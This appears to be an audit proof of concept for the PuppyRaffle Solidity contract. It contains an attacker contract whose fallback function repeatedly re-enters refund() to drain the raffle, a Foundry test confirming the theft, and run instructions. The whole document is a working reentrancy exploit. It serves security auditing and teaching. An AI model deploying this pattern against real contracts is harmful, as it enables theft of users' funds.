attacker.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;

interface IPuppy {
    function enterRaffle(address[] memory newPlayers) external payable;

    function getActivePlayerIndex(
        address player
    ) external view returns (uint256);

    function refund(uint256 playerIndex) external;
}

contract Attackpuppy {
    IPuppy pup;
    uint index;

    constructor(address ppy) {
        pup = IPuppy(ppy);
    }

    function enterraffle() external payable {
        address[] memory player = new address[](1);
        player[0] = address(this);
        pup.enterRaffle{value: address(this).balance}(player);
        index = pup.getActivePlayerIndex(address(this));
        pup.refund(index);
    }

    fallback() external payable {
        if (address(pup).balance > 0) {
            pup.refund(index);
        }
    }
}

poc.t.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;

import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
import {Attackpuppy} from "./attacker.sol";

contract POCTest is Test {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee = 1e18;
    address playerOne = address(1);
    address playerTwo = address(2);
    address playerThree = address(3);
    address playerFour = address(4);
    address feeAddress = address(99);
    uint256 duration = 1 days;

    ///// attacker
    Attackpuppy attacker;

    function setUp() public {
        puppyRaffle = new PuppyRaffle(entranceFee, feeAddress, duration);
        attacker = new Attackpuppy(address(puppyRaffle));
    }

    function testCanEnterRaffleMany() public {
        address[] memory players = new address[](2);
        players[0] = playerOne;
        players[1] = playerTwo;
        puppyRaffle.enterRaffle{value: entranceFee * 2}(players);
        assertEq(puppyRaffle.players(0), playerOne);
        assertEq(puppyRaffle.players(1), playerTwo);

        // deal attacker contract with the entrancefee
        vm.deal(address(attacker), entranceFee);

        attacker.enterraffle();
        ///assert all fund are now in the attacker contract
        assert(address(attacker).balance == entranceFee * 3);
    }
}

read.md

Add the two files above to the test folder. And run forge test --mc POCTest -vvvvv to test.